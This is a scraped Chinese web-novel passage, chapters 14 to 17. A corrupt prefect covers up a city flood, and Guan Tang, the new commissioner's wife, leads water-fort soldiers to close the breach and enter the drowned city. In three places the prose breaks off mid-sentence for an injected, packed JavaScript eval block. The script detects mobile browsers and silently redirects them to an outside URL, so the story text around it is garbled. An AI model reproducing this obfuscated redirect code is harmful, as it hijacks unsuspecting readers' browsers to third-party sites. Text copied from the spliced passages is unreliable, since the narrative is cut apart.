此时，兵马营的都监伍潼快速步入府衙，他便是先前在议事堂和姜丕起过争执之人。伍潼壮似牯牛，四肢短粗，擐甲执锐，叮当作响得走到了徐继昌面前，见他对怒气冲冲的自己状若未闻，伍潼礼也未行，岔开腿在椅子上坐下。 “知府大人，你可知昨夜镇南门前死了多少百姓？”伍潼高声道。 徐继昌招了招手，命人给伍潼上碗筷。后者虽面露不悦，但见上峰不开口，到底是无话可说。面前摆好粥碗筷碟以后，伍潼默不作声地喝了两勺粥，最终撂下勺子道：“我那些个弟兄们说，昨夜……光是从城墙被他们扎下去的就有二三十个。” “是跌下去的。”徐继昌纠正道：“那么高的城墙，怎么可能靠人力爬上去？” “但是……”伍潼还待说什么，徐继昌用筷子轻轻点了点那碟子糕点道：“尝尝这个。” 伍潼只好依他所说去做。糕片送入口中，一股清甜立刻涌入鼻腔。 徐继昌道：“你是南方人，没吃过这糕点吧？此糕名为云英麨，在汴京颇为盛行。做法嘛……以莲藕、鱼头、鸡头米、慈姑、莲子百合等捣烂成泥，经过一蒸一晒，再重新磨成粉末，加入蔗糖、蜂蜜二蒸，再捣再晒，定模成型，切片装盒……如此反复，才能放到这张桌子上。” 见伍潼面露震惊之色，徐继昌用筷子头举起小小一片糕道：“可是于汴京那些高门大族，这不过就是打发人的东西，连主人家的桌子都上不去。” 他的言外之意伍潼自然听懂了，只不过方才那糕点的甜味慢慢在口中化开，他竟好似品出一丝莲子的苦味。 “大人，日后若上面追究下来，此事谁来抗？” 徐继昌嗤笑一声道：“谁追究？那位京中来的经略安抚使？”他说到这里，重新拿起勺子，安然自得地舀起一勺粥，瓷勺在碗壁相碰，叮当作响。 徐继昌咂摸嘴道：“灾情震荡，他若急于上书追责，那日后还推不推行稻改了？俗话说得好，独虎不敌群狼，无论是咱们上游铸币的柳州、还是屯兵数万的邕州，不都是转运使的地界。眼下不过是死了几个平头老百姓，你就慌成这样，真是难成大事！我就这么说了吧，便是把整个罗城都淹了，谢少行连个屁也不敢放！就他那出身，还敢和家族世代为官的同平章事斗？” 徐继昌此话即是点明了将手伸到广右的人是旧党魁首，同平章事王晸。 “可是官家不是将那观氏女赐婚给了谢少行吗，她们观家也是世代领兵的豪族啊。” “即便那秦风路都部署得陛下重用，不也派了宫中的宦官前去监军吗？”徐继昌说到这里，突然咧嘴一笑道：“我道是忘了什么事，那观氏女指派陛下的侍卫来衙城闹了这么大一场，你这就抽调五十个人出城去客栈将她接入衙城，一路记得要大肆宣扬，是特意去接新任经略使的妻子。” “那岂不是……要开镇南门？” 徐继昌放下筷子，起身道：“自然是要开的，但是谁敢往里闯，即刻射杀。”说完便离开了。 伍潼见桌上尚还剩着几片云英麨，拿起筷子捻着吃了。 徐继昌转过西廊，迈入黄堂。此间为府衙里升堂问案之处，六房书吏皆列于此。他甫一进去，便觉有两双眼睛望向了自己，带着几许冷怒，更多的则是探询。 那怒视徐继昌的二人是府衙内的签判和观察判官，算是李诚昭的人，未料一夜过便地覆天翻，又听说镇南门惨状。但李诚昭已被冤死，衙城被兵马营封锁，即便是他二人想做什么也无计可施。 徐继昌便是拿捏了这些，淡然开口道：“推吏，李通判的验状。” 推吏将验状双手呈到了徐继昌面前，后者翻看了两眼，丢到司理参军案台上，见推吏还立在一旁，冷声道：“怎么？” “知州大人，我那大舅哥如今尚被困在罗城内，请您通融通融，我听说伍都监不刻要带人出城，可否将他一道带回衙城？” 徐继昌眉头紧蹙道：“你大舅哥是做什么的？” “他是给那些个羁縻商人跑商的。” “我命你们将亲眷接入城内时，他在哪里？”徐继昌端起茶盏，轻吹了吹道：“要知道，有的人是自寻死路，你费再多的心思也救不了，懂吗？” 此言一出，众人自然想到如今只是誊写在那验状上的李诚昭。黄堂内空气骤沉，唯闻屋外瓦檐滴沥。 一个时辰后，又下起小雨，远天传来几声闷雷，徐继昌正在后堂和司理参军商议如何草拟奏报，言说李诚昭、姜丕扰乱府务之事，报伍潼来了。 徐继昌让司理参军先行退下，伍潼待不及，风风火火冲了进来，口中嚷道：“大人，那观氏女竟然逃出罗城了！” 徐继昌使了个眼色，司理参军赶忙行了个礼退下，他起身向伍潼道：“逃？怎么逃出去的？那殿前司虞候来衙城时，观氏女不还好好地在客栈里吗？” “真不知她是如何逃走的，她的那些仆妇小厮皆在客栈里。大人，镇南门大开时，我便已宣扬出去是为了接经略使夫人入城避难，这可怎么办是好？” “那些丫鬟仆妇如今还在客栈里？” “我想着，总不能空车入城吧，便将他们都移入城内了……”伍潼见徐继昌脸色遽变，喏喏道：“大人……” 徐继昌咬牙道：“还真是小瞧了这观氏女！我们将她接入衙城，原本是想挟令谢少行，如今倒好！你将那些丫鬟仆妇带入城内更是下下策！现下各州都在遭灾，若她活着到静江府了倒还好说，若她不知道死在哪个山沟沟里，到时候那经略安抚使来梧州城要人，我们该当如何？” 伍潼嘴巴半张，似口不能辞，徐继昌在屋内来回踱步，喃喃道：“而今之计，只能先将错就错，你去，命人安置好那些仆妇。” 伍潼行礼退下了，徐继昌知道此事大为不妙，准备提笔写封信给在静江府的转运使蒋衝商议一二。 他方提笔写了几个字，便又听那军汉的脚步声来，果然是伍潼去而复返。 “大人，方才我的下属候在府衙外，我一出去便跟我说了件怪事。” “何事？”徐继昌搁下笔。 “说是罗城内来了一伙水寨兵，他们正在寻人去堵决口。” 徐继昌想起昨日突然出现在江面上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16057568|176473||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的那艘海鳅船，心中暗道，难道真是戎墟水寨之人？但想那水寨兵并非真正意义上的正规厢军，且多为配牢军户，或许是那知寨贪功，想要来自己这里分一杯羹，只不过他昨日才遣人去水寨闹了一回，现下倒不好派人去拦。 “你派人看着些，这些水寨兵粮饷大多要自筹，怕不是来趁火打劫的。”徐继昌吩咐道。 * * * 却说郁江之上，海鳅船横拦于江面，正用一张大网罩住从上游流下来的梢芟、树枝。观棠仰头看着船工将渔网高高拉起，随后将其网内之物倾泄于甲板之上。 “夫人，如何？”栾慧问。 观棠捡起一枚枝杈，将地上那些被混沌的江水泡作一团的埽材分了分，说：“这些便是最初拿来堵决口的埽緷。”说完，她起身用步子量了量，说：“单独一节有五、六十步长。” 栾慧道：“这么重这么长的埽緷都堵不住决口……” 观棠蹲下身摸了摸露出粗麻绳头的绳揽，说：“也许这些埽緷恰恰是因为太长，反而无法沉入河底，截断水流。你看，此处绳揽是被一点一点扯断的。” 观棠虽指出了梧州城决口不塞的可能性，但仍想不出法子。 两个时辰前，赵队将带了十几个人进城寻人去堵决口，观棠留在船上寻求应对之法，命人来到下游拦截堵决失败的埽緷。她正一筹莫展之时，一艘蓬船渐渐靠近了海鳅船。 那掌船的船夫便是先前送观棠去水寨的蜑民，海鳅船上的兵卒将他腰系绳索拉了上来以后，此人用混杂着官话的土话和兵卒们说了几句话，少顷，那些船夫面上的神情凝滞，纷纷转头望向了观棠。 观棠觉出不对劲，起身走上前问：“发生什么了？” 一个兵卒上下打量了观棠两眼，说：“两个时辰前，镇南门大开，好些个官兵把被困在城外的经略使夫人拥着带回了衙城。” 观棠一怔，道：“经略使夫人？” “所以你是假冒的？”另一名兵卒大踏了一步上前道：“那镇南门为了迎经略使夫人进城，还杀了几十个闯门的百姓！” 那兵卒口沫横飞，观棠下意识后退了一步，栾慧伸手护在观棠身前喝道：“你们做什么？知寨都已看过夫人的文牒，夫人身份岂有作假？” “假冒文牒才是再容易不过的了。”兵卒嚷道，另有几人也附和了起来。众人渐渐对观棠的身份产生质疑，眼看事态失控，观棠推开栾慧的手，上前道：“诸位，假冒官家夫人只身闯你们水寨，还险些被你们的赵队将射杀，冒着如此大的风险，我又求知寨派人随我回梧州，若我不是经略使夫人，我的目的究竟何在？” 那兵卒一时嗫嚅了起来，观棠淡笑一声道：“大灾大难之际，人心易涣散，这并非你们的错。”她话还未说完，另有一个兵卒插嘴道：“你不过是一个女子，又能做什么？还不是带着赵队将还有我们送死！” “女子男子有何区别！”观棠怒斥道：“你们都是水寨兵，兵法有云，千人同心，则得千人力，万人异心，则无一人之用，那梧州罗城近万人被困，男女老少皆在其中，你们难道要眼睁睁看着他们困死在里面？” 她俯身捡起一根枝杈，抛到那兵卒身上，说：“折断它。” 那兵卒依言折断。观棠从那地上又捞起十数根，说：“继续折。”那兵卒虽目不识丁，也知道“单者易折，众则难摧”的道理，立着巍然不动。 观棠便也不再追责，只道：“如今你我皆在这艘船上，生死相系，只要有法子堵塞决口，我们便能拯救罗城百姓。” 她话音落，众人虽并无多少信任的神色，但见面前被雨水打湿的女子面容，眼神坚毅，于是纷纷噤声。 观棠移开目光，看向方才落在地上的那堆枝条，突然眸光一闪，道：“栾慧，也许有个法子可行！” 15.第 15 章 半个时辰后，赵令羽带着十几个年轻汉子到达城垛处，这次他们用绳梯连接了甲板和城垛，能供人踏行。 这绳梯又名布桥，由几股粗绳支撑着木板，像是一座横在江面的简易索桥。 赵令羽的两个属下先行走上了船，那桥在空中没有支撑点，十分容易左右摇摆，不是训练有素的兵卒极易跌下去，十几个汉子见状在原地踌躇了起来。观棠听不见赵令羽同他们说了什么，过了一会儿，有一人大胆站了上去，靠着双手双足支撑着身子一点点爬了过来。 见他平安落到甲板上被船工们接住，城垛之上的众人一阵欢呼，随后便陆陆续续有人走上布桥。 他们其中有位个子瘦小的男孩，似乎是因为身子太轻，在布桥上左右摇晃，好像枝头枯叶被风吹着打旋，观棠忍着没有惊呼出声，却见赵令羽攀了上去，靠他的身子重量稳住了布桥，那孩子才颤巍巍地过来了。 最后众人都归位，赵令羽手起刀落将布桥砍断，回过身对观棠道：“他们就是我们在城里能寻到的所有人手了。” 见赵令羽面沉似水，观棠猜测他大抵已知悉那徐知州将经略使夫人迎入衙城之事，开口道：“赵队将，可否借一步说话。” 两人到了舱内，观棠开门见山道：“我的身份你不必怀疑，徐知州只是用我做文章。” 赵令羽点了点头，说：“夫人的身份我并不存疑，只是有一事要同夫人说。”他的口吻让观棠心中一沉，便听面前之人道：“您先前让我将您在客栈的随从仆妇接出来，但我们去迟了一步，他们如今都被兵马营送入衙城了。” 观棠眼神中流露出一抹慌乱，随后转过目光道：“方才未在城墙上见到他们时，我想着也许他们已经逃入衙城了。” 赵令羽心中诧异，昨日此女顶着箭雨来到水寨，他未曾见过她如此神色，于是他多问了一句：“夫人，可是有什么重要之物未曾取走？” 观棠摇头道：“不是，只是怕徐知州对他们不利，这其中有观家的积年老仆，还有自幼陪伴我长大的丫鬟……事急从权，赵队将，我们还是快快令船行到决口处吧。” 赵令羽依她所言，命人将海鳅船驶近罗城最初的决口处。 此处郁江水早已越过岸堤，围堰毫无踪迹，甲板上的水寨兵叹道：“去岁知寨还遣我们来此处修堤，现在居然连个影子都找不见了。” “大致在什么地方？”观棠问。 几个水寨兵商议了一会儿，指了个方位，观棠走上前观察片刻，见那处确实有一股水流稍有不同，说明水底便是堤坝所在。 她对赵令羽等人道：“我有一计，不一定能成，但如今需先塞这处决口，再寻法子将城内水引出来，一堵一疏，或可解罗城之困。” 众人便依观棠所说的方法，将方才捞上来堆满甲板的埽物各自拆解，做成每节长二十步的埽，再将三节相连，如此同样是六十步长，但其中能分解为三段。 “夫人，此法当真可行？”栾慧忧心道。自从他听闻杨季安等人都被知州接入城内后，恨不能即刻进城带众人逃离。听见栾慧所说，赵令羽也转头看向她。 观棠微微一笑，这还是她方才与水寨兵一时争执，看到那些散落在地的枝杈想到的法子。 她想，独木自是难支，但正所谓化腐为奇，见势行事，世间万物皆有解法。 观棠沉声解释道：“伯父教过我，带兵打仗，并非要集中所有军力。前朝平定侯景之乱的李将军也曾言，分不分为縻军，该分散的时候就需将军队分散，我想对付水势亦是如此。若以强大的力量去抵抗这洪流，两强相碰，这些埽緷便会被水流推着卷走。” “分不分为縻军，聚不聚为孤旅。”赵令羽低声道出后半句，观棠有些许惊讶地看他一眼，见他立刻偏转了头，便只好继续道：“将这些埽緷先放一节，于滔天水势而言，这些就像它们行路中的一颗小石子，这时候拎着由缆绳相系的埽緷再放上第二节，此时已经能将水势往旁出赶，再垒第三节，便能在不知不觉间束起三道埽緷形成的坝。二十步一放，将大家伙用绳索系在腰间，踩在那三道埽緷之上，再往下放，以此方法，慢慢地将决口处堵起来。” 她说完，有的人面上还有疑虑，但大部分人却也觉可以一试，于是大家伙整理好能用的埽緷，海鳅船上的船工放下两艘系有绳索的小舟，各坐了十几个人，执桨往那决口处划去。 这艘海鳅船需留守起码二十人，因此赵令羽才去寻帮手，临去之前，观棠道：“赵队将，他们恐怕是看在水寨粮草的情况下才来，但这也是舍命之事，劳烦您务必护佑他们。” 赵令羽摆了摆手，意思是自不必多说，转身上了船。 * * * 百里之外，象州。 此地环山，曾因山腹所起的云团状如白象，久久停留，移时不灭，被取名为象州。 何昉醒来，一时半会儿有些似梦非梦，过了好半晌才想起他昏迷之前的事情。 昨夜他与郎君、朱达志抵挡了两波箭雨后，那伙人便闯入屋内，共有八个人，他们形貌矮小，虽不似这一路南下所遇的精悍刺客，但显然是奔着这经略安抚使去的。 朱达志人高马大，能同时对付三四个人，只是他和谢闻一人对付两个，实在吃力，后来，为了替谢闻挡身后剑，何昉一把将他推开，左手从肩膀自胳膊被划伤，仍咬牙坚持，最后直到血流过多才倒地。 何昉收敛神思，慢慢从地上爬了起来，却见朱达志正闭眼靠坐在不远处的石壁上，他身后有一尊坐姿的石雕佛像，面容柔和，杏眼低垂，含蓄而悲悯地望着身下诸人，何昉这才意识到他们在昨夜经过的那些石窟佛洞中。 他往外一望，此时已经天明，洞窟门口守着几个身着官兵制服模样的人，何昉道不清发生了什么，便忍着背部剧痛悄默声地爬向了朱达志，随后伸出右手轻轻推了推他。 “朱大哥……”何昉低声道。 还不待朱达志睁眼，何昉身后传来熟悉的男声：“何昉，你醒了。” 他回过头见是自家郎君，长舒口气，这时他头顶的那朱达志也睁开眼，说了句“何小哥”，见他以青蛙趴地的姿势趴在自己面前，疑惑道：“你怎么……” 何昉轻咳了一声，说：“我伤口痛， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16070826|176473||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起不来。” 谢闻走到他身边，将他扶起坐好，说：“你放心，现在已经安全了。”他正说着，佛洞内钻入一人，朝谢闻道：“经略使，既然他醒了，我们便上路吧。” 谢闻回头看一眼那人，对何昉道：“这是象州防御使曹佐林，昨夜便是此人救下了我们。” 原来昨夜曹佐林等人趁雨势歇，乘船在江畔巡防，听见那野寺里有打斗声，这才即刻命人停船赶来，却不想自己竟在此地撞见了新任经略安抚使。 一番缠斗后，留下两个刺客的活口，其余皆诛，曹佐林又安排人埋尸，折腾到巳时初，此地又下起瓢泼大雨，江面起波澜，不宜行船，曹佐林便带着众人来到佛洞旁的这一处商道，看能否拦到路过的游商车队，好运送打斗中受伤的兵卒以及谢闻等人。 何昉醒来前一刻，正巧蹲守到了一伙商队。 众人收拾妥当，坐上商队的马车，何昉这才发现朱达志侧腰和右腿都缠着深深的纱布，人高马大的他爬上车辕都十分困难。何昉心道，不知自己昏迷时他是否替郎君挡过几刀，一路上的嫌隙也烟消云散，本想感激一番，但见谢闻坐在对面阖目不言，眉头不展，低声问道：“郎君，您可有哪里受伤？” 谢闻睁眼道：“无甚大碍，你的伤需静养，否则以后胳膊都难抬起来，到了象州以后我会找人将你送回静江府。” 何昉口中嗫嚅，没敢大声反对。他方才上车时便觉左胳膊使不上力，先前还以为只是牵扯伤口疼痛导致，听谢闻所说，自己顿时有些后怕。 车内一时无声，便听马车前面坐着的一个兵卒正在和那车夫闲聊。二人说到此次雨水漫天，那车夫叹道：“也不知道如今象州是个什么样，前日我在路上遇到个从梧州出来的人，他说梧州决堤，堵也不堵不上，害死了好些人，半城都被淹了，他为了出城还损失了不少货物。” 谢闻听见此话，掀开马车的帘子道：“此话当真？” 车夫回头看他一眼，因不知他是什么身份，但见那借车的军汉先前对此人礼遇有加，便点头有些恭敬又有些状告意味道：“千真万确！而且他还说，那梧州州府并未点燃烽火警示上下游，也不命百姓撤离，只是任由洪水淹城，要不是他见势头不对，雇了个蜑民送他出城，此时还不知要被困多久。”说完又补了句：“真是造孽……” 谢闻心绪微动，眉头紧缩，此时马车行在泥泞的道路上，极为不稳，不知不觉间牵扯到脖颈处的刀伤。那裹着的棉布渗出鲜血，他转身时正巧背对着何昉，后者这才见到他的伤口。 “郎君，你的伤……”何昉喃喃道，谢闻伸手摸了摸，感觉手上濡湿，拿下来一看，一片殷红。 “还有多久到象州治所？”谢闻淡声问。 “还有一个时辰左右。” 马车内片刻安静后，响起男子清冽的声音：“停车。” 商队的车夫吆喝着停了车，两辆马车依次停下，本来行在前方的曹佐林见状策马回身，到了马车边问谢闻：“大人，怎么了？” “防御使，梧州恐有大乱，我现在随你去象州兵马营调兵，我们速去梧州。” 16.第 16 章 曹佐林见面前男子眼底如涛又如渊，搅得人呼吸都凝滞了一瞬。 谢闻短短一句话便要调兵去梧州，他心中自然有疑，但此人乃经略安抚使，能够调用整个广南西路军，最终点头应是。 再上路时车马便行得快了许多。 何昉见朱达志再颠簸的车厢里龇牙咧嘴得，凑上前道：“朱大哥，你还好吗？” 朱达志点点头，说：“别看我这样，其实只是皮外伤，我们习武之人即便是躲不开那些刀剑，还是有些方法避开。”末了低声补了句，“谢大人伤得还更重些。” 何昉一听这话，便往谢闻身上看，但他换了衣袍，除了脖颈缠着的粗麻布露在外头，实在看不出其余伤口。 这时，朱达志伸手用食指轻点了点心口左上的位置，何昉看得瞳仁一缩，若那位置再偏移一些，郎君恐怕就……何昉忧愁地看向谢闻，他了解郎君的性子，待众人到了象州，恐怕谢闻也只会歇息半刻，随后带兵往梧州去。 何昉想到这里，心中懊恼，若自己的功夫像德庆那般好就好了。 此时的德庆与岑禄正端坐于府衙治事厅的偏屋中。 岑禄与朱达志一样，是孙向愚所派，不过此人又与朱达志不同，后者善舞刀弄枪，他是只能提笔的幕客。 得知观棠被困梧州之后，德庆本想带着谢闻宅中的府兵往梧州去，很快被岑禄拦下。 “事有蹊跷，大人离开之前特意叮嘱我要注意府衙动向。你想，夫人的家丁不熟道路，兜兜转转才到达静江府，梧州出了这么大的事情，整个静江府上上下下竟都不知道？” 德庆拍桌喝道：“他们那群人是真不知情还是假不知情！” 岑禄颇为赞许地点头说：“明日你跟我去那刘知府面前探探便知。” 他二人这一坐便是一上午，府衙的小厮进来添了两回茶，都说知府大人正在议事，抽不开身。 德庆见岑禄在旁阖目，一派气定神闲的模样。他是离了郎君回的静江府，又骤闻夫人被困梧州的噩耗，便是再沉得住气的性子，现下也有些按捺不住了，起身踱了一会儿，道：“济明先生，这刘知府究竟是几个意思？” 岑禄睁开眼道：“意思倒很明确，只不过我在看和他议事那人几时出来。”见德庆投来疑惑的目光，岑禄说：“转运使蒋衝。” 佥厅内，刘弢和蒋衝竟与德庆和岑禄二人姿态相当，刘弢不安地在屋内来回踱步，蒋衝则十分淡定地坐在椅子上。 “那可是数以万计的人命！”刘弢停下脚步，两眼死死盯着蒋衝，道：“勤功，你确定王……” 蒋衝横眉冷眼地低喝道：“不要提大人的名字。” 刘弢长吁口气，好似脱力，在椅子上坐了下来。 “你是整个广右的转运使事，而我是静江府知府……”话外之意，一州遭难，他二人作为广南西路的治事官恐难逃其咎。 “你怕什么，瞒报灾情的是徐继昌，赈济失利的是经略使，与我二人何干？”眼珠子微转，蒋衝道：“想陛下如今才登基几年，就要效仿光宗掣肘世家，焉知以后会如何？稻改之事，便是死他个几千几万人，也不能在咱们这路通下去。” 见这蒋勤功方才不让自己议论同平章事王晸，现下却自得地谈论新帝，刘弢心下生出些难以言说的烦闷，脸色沉郁。 蒋衝倒不在意他所想，起身拂袖道：“你别忘了，为了引谢闻去柳州，大人可是挥泪斩马谡了，总不能叫我们白白送出去一子吧？” 刘弢冷哼一声，马谡被斩那是诸葛孔明为了抚慰民心，王晸等人实乃断尾求生罢。 见他未回应，蒋衝临走前抛下一句话：“对了，若谢少行回静江府调兵，拖他个三五日再说。” 蒋衝走后，刘弢又在屋内坐了一会儿，才唤人入内问：“偏厅谢府之人可还在？”得到尚在的回复后，刘弢说：“你遣他们走吧。” 府衙门口，蒋衝正要翻身上马，一个小吏模样的人一路小跑着过来，凑到他近前低语了几句。蒋衝听完轻笑一声，正巧岑禄二人从府衙大门走出来，看着蒋衝等人打马离去的背影，德庆皱起眉，眼中藏着愠怒。 他二人稍站了一会儿，正待离开，一个小厮模样的人从府门内出来，一不小心撞上了岑禄。 德庆伸手要扶，岑禄身子微顿，随后摆了摆手，说：“走罢。” 回到谢府，二人方一踏入院子，狄良便快步走来问：“如何？” 德庆愤然道：“刘知府以公事繁忙拒不相见！” 狄良看向岑禄，见他轻轻摇头，前者轻叹了口气，岑禄道：“进屋再说。” 三人回到屋内，岑禄从衣袖里拿出一张纸团道：“这是方才在府衙，一个小厮偷偷递给我的。” 德庆凑上前一看，立刻明白过来，跃然道：“知府要助郎君？” 岑禄沉吟半晌道：“无论是不是要助郎君，总归是要保观家女的性命。” 听完他所言，狄良感慨了一声：“陛下圣明。”又道：“济明先生，以后记得要喊夫人。” 岑禄嘴上应“好”，心中却十分不以为意，若那内宅妇真出了什么事，倒能借机狠狠往京中参上一本，还能断了谢闻与世族的姻亲关系，岂不一石二鸟？ 他一边思索着，一边将那纸条在掌心揉作一团。 * * * 一日后，按照观棠的法子，那决口处竟然真堵上了，众人雀跃之际，观棠说：“堵了决口算是迈出第一步，现下需入城疏通各处水窦。” 赵令羽问：“罗城水道涉及城防，没有图纸如何疏通？” 赵令羽所说便是困顿观棠之事，涝灾一分堵九分疏，没有详细的水窦构造图纸，即便是堵死了决口，罗城内还是一片汪洋。 “先入城吧。”观棠下了决断。 赵令羽应是，准备整队列兵，观棠说：“这次我要和你们一道。” 赵令羽有些讶然，但并未反对。 众人稍后离开了海鳅船，搭乘小船，沿那终于得以看见的堤坝划了一会儿，寻到一个入城的缺口，在此处下了船往城内而去。 观棠在船上时还未有所觉察，但当她跟着众人淌着水进入城内时，顿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16092003|176473||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 觉整座罗城静得可怕。水生万物，也吞噬万物，此处地势为罗城最低，找不见一间齐整的屋舍，只有漂浮在水面之上的一些浮木、茅草显示着此地或曾有人搭建房屋居住。 除此之外，空气中弥漫着一股难以忽视的恶臭。当第一具浮尸漂荡到众人眼前，先前曾在布桥上咬牙挺身过来的男孩也吓得立刻惨叫了一声，转身呕了起来。 越往城内走，尸体愈多，泡涨得像是被吹起来的羊皮筏，面容已经无法辨认出来，有的甚至在被水中的大鱼啃食着耳朵和手指。 这下就连观棠都不能再直视，她用袖子掩住自己的口鼻，强压下胃里涌上来的一股股酸水。 耳畔只听得众人淌水而过的声音，此时水位从胸口处渐渐降到腰处，又慢慢到了大腿根部，能够辨认出周围的街道和只余根根梁柱的房屋，好像剥离血肉后的枯骨，伫立在水面之上。 赵令羽从城内找来帮忙的几个年轻汉子正用苍梧话交谈着，观棠问：“赵队将，你可听得懂？” 赵令羽迟疑了一下，摇头道：“苍梧话混杂了很多当地的俚僚古话，若非生长于，很难听懂，我也只能听出个别词语。” “你不是广南人士。” 广南东西两路，她的意思是他并非岭南本土人。赵令羽侧头看一眼她，说：“夫人听得出我的口音是哪里人？” 观棠坦然道：“除了汴京和我伯父家所在的延州这两地，我并不太辨得出旁的口音，但你确不像南方人。” 赵令羽个子高，此时水已褪至他的膝窝处，他抬起腿重新踩入水中，正要张口说什么，突然脸色大变，伸手去够斜前方一个年轻汉子，大喊道：“不要动！” 然而还未来得及触碰到年轻人，便听他发出一声惨叫，似被什么东西吸走，瞬间消失在眼前的水中。 赵令羽立刻下令道：“莫要靠近！” 随后他四处张望，找来一根顺着水流漂浮到身边的木橼，单手抓住，好似丢渔叉一般将那木橼投进了前方的水流里，不一会儿就见那将近五尺的木橼打着旋儿不见了。 队伍一时有些慌乱，似有人想从另一边绕行离开此地，观棠忙喊道：“千万别乱动！这应该是城中的一处暗河口，也就是下水口。大家将身上的腰带扯下来，与身边人结在一块儿。” 众人听她的话，在原地互相用腰带拴在一起，两三个人一道，如此心里也都有了底，只是不知那失去踪迹的汉子会去向何方，暗河水道错综复杂，大概是凶多吉少，心下皆惴惴。 赵令羽利用身边漂浮之物摸完了水路，回过头对众人说：“我走前面，大家跟着我，不要并排走。” 就这样，几人一前一后列着队，总算走过这处有暗河的地方。 观棠经过方才那处水流打旋的地方，多看了两眼。她知道那汉子恐怕难以生还，想到自己本该早早提醒众人绑上绳结，偏偏看着一条人命在自己面前消散。 栾慧见她神色如晦，想安慰几句，却听不远处传来几声凄厉的惨叫。众人还未从同伴丧生的悲伤中回过神，乍闻那尖叫声，便都僵立在了原地。 17.第 17 章 那声音明显出自女子，观棠听见，想赶忙上前一看究竟，她和栾慧绑在一块儿，栾慧扯了一把腰带道：“夫人莫急，请赵队将带人去看看便是。” 赵令羽正有此意，于是他点了几人一道往前走，转过前面的一棵横斜在水里的大树，便看见斜前方有一个小女孩在屋顶上，那屋顶的瓦片大半脱落，孩子正艰难地攀在房梁上。 更为骇人的是，与她相隔一步的邻间屋顶，几只野狗正在撕咬争抢着什么，发出恫吓的低吼声。 赵令羽定睛一看，竟是一个小孩的躯干！ 此时，有两只野狗抢不过更强壮的三只，转过头死死盯着女孩，将女孩吓得哭嚎了起来。 赵令羽身上背了弓箭，见状立刻搭箭射了过去。 一箭射出，一只即将扑向女孩的狗便呜咽着从屋顶滚落，另一只野狗似见同伴落水，紧跟着也跳了下去，过不一会儿却叼着同伴的尸体到一处屋顶啃食了起来。 赵令羽眉头紧皱，再次搭箭射出。他箭无虚发，处理完剩下几只野狗，侧耳聆听了一会儿，觉得再无其他响动，就松开了自己和同伴的腰带，朝那女孩所在的屋顶半游半走了过去。 待他走近，这才看清那紧紧扒在房梁上的女孩不过八九岁的年纪，脸上的脏污和眼泪、鼻涕混作一团，似被困在此地许久。待他将她从那屋梁上抱下来，问了几句情况，那女孩支支吾吾地，一张口却是苍梧话。 赵令羽无法，只得将她背到背上，一行人回到还在原地等候的诸人身边。 观棠见他平安回来，长舒口气，听他将方才发生的事情交代了一遍，伸手从他背上将女孩抱到了自己怀中。 “夫人，她不会说官话。”赵令羽说。 观棠说：“先找一处能落脚的地方再说。”她说完，抬目看向四周，哪里是原先的道路，哪里又是屋舍，凭肉眼实在难以辨认。 而观棠先前让赵令羽在罗城寻人来帮忙，也是为了现下能有人为他们领路。那十几来帮忙决堤的男子商议了一下，其中一人说他东家的铺子位于罗城高地，建议大家去那处歇脚。 于是众人便跟着他，走着走着果然水位渐低，观棠原本一直借水势将女孩抱在怀中，水褪到脚踝处后便抱不太动孩子了，栾慧见状说：“夫人，我背着她吧。” 观棠将孩子放到栾慧背上，那女孩一路乖巧极了，不声不响，趴到栾慧背上以后，用一双黑黝黝的眼睛看着观棠，却有一种空洞洞的感觉。 观棠望着她，又心疼又难过。 她方才听赵令羽简单说了几句发生在这孩子身上的事，但不知她为何一个人被丢在那屋顶上，被野狗捡走尸体的小孩又是否是她的亲属，观棠想，也许人在经历过大灾大难之后便会如此，仿佛被抽走了三魂七魄……她一边想着，一边跟着众人攀上一处高台。 此处已十分靠近衙城，地上泥泞不堪，但万幸的是房屋俱在，抬眼便能够看见远处的城墙。此刻远处传来阵阵呜咽声，像是风声，又像是人的哭声，听得人心弦被勒紧。 他们才从水中出来，人人身上都湿漉漉得，一阵风吹过，带来阵阵寒意，更让人心中恶寒的是，越往里走，所见灾民越多。许多人都无望地蜷缩在屋檐下，他们衣衫褴褛，不少身上还有血污。见到观棠一行人，有的沉默地用与那女孩一般空洞的目光跟随着他们，有的似想上前抢夺众人身上行囊，立刻被赵令羽的部下驱离了。 “罗城内已经没有衙役了吗？”观棠轻声问赵令羽。 “不知。”赵令羽摇头道：“不过应当有一些来不及逃入衙城的。” 听见二人对话，正领路的那年轻人转头道：“有，有许多衙役都在城内。”他话虽说着，却有些咬牙切齿之味：“那些混子非但不帮忙，还趁乱抢了好些百姓的口粮。” 